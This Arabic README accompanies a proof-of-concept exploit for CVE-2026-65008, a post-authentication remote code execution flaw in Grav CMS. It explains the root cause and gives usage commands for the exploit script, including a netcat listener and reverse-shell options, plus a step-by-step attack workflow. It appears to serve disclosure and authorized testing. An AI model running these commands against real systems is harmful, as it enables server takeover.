CVE-2026-65008 — Grav CMS < 2.0.7 RCE بعد المصادقة

إثبات المفهوم لثغرة CVE-2026-65008: تنفيذ أوامر عن بُعد (RCE) بعد المصادقة في Grav CMS عبر استدعاء غير مقيد للدالة call_user_func_array() في Blueprint::dynamicData().

يمكن لمستخدم يمتلك صلاحية admin.pages (أو api.pages.write) زرع بيانات frontmatter خبيثة لنموذج. تُنفَّذ الحمولة (payload) بعد ذلك بصلاحيات مستخدم خادم الويب عند قيام أي زائر (بما في ذلك غير المصادَق عليه) بتحميل الصفحة.

للاستخدام في الاختبارات المصرَّح بها فقط. استخدمها حصريًا على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.

الاعتمادات

CVE: https://www.cve.org/CVERecord?id=CVE-2026-65008

السبب الجذري

تمرّر Blueprint::dynamicData() استدعاءً قابلًا للتنفيذ Class::method يتحكم فيه المهاجم مع وسائطه إلى دالة PHP call_user_func_array() دون قائمة مسموحات (allowlist). وبدمجها مع Grav\Common\Utils::arrayFilterRecursive كوسيط تنفيذ (trampoline)، تصل الثغرة إلى system() / passthru / إلخ.

تم إصلاحها في Grav 2.0.7+.

CVSS

9.8 حرجة — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

المتطلبات

• Python 3.10+
• requests

التثبيت:

pip install -r requirements.txt

الاستخدام

تنفيذ الأوامر

python3 exploit.py -u http://TARGET -U admin -P 'password' -c "id"

الصدفة العكسية

شغّل المستمع أولاً:

nc -lvnp 4444

ثم:

python3 exploit.py -u http://TARGET -U admin -P 'password' --lhost YOUR_IP --lport 4444

الوسائط

سير العمل

1. تسجيل الدخول إلى /admin (استخراج login-nonce)
2. الحصول على admin_nonce من لوحة تحكم المسؤول
3. حفظ صفحة تحتوي بياناتها الأمامية (frontmatter) على أداة data-opts@: الخبيثة
4. التشغيل عبر طلب GET غير مصادَق → RCE بصلاحيات www-data

إخلاء المسؤولية

هذا المشروع مخصص للبحث الأمني التعليمي والمصرَّح به فقط. المؤلف غير مسؤول عن أي إساءة استخدام. احصل دائمًا على إذن كتابي قبل اختبار أنظمة الطرف الثالث. تم الإفصاح عن الثغرة الأصلية عبر نشرة البائع الأمنية؛ يعرض هذا المستودع إعادة الإنتاج المخبرية فقط.

المراجع

• https://github.com/getgrav/grav/security/advisories/GHSA-fj2p-qj2f-74v5
• https://nvd.nist.gov/vuln/detail/CVE-2026-65008
• https://www.cve.org/CVERecord?id=CVE-2026-65008

الترخيص

للاستخدام البحثي. دون أي ضمان.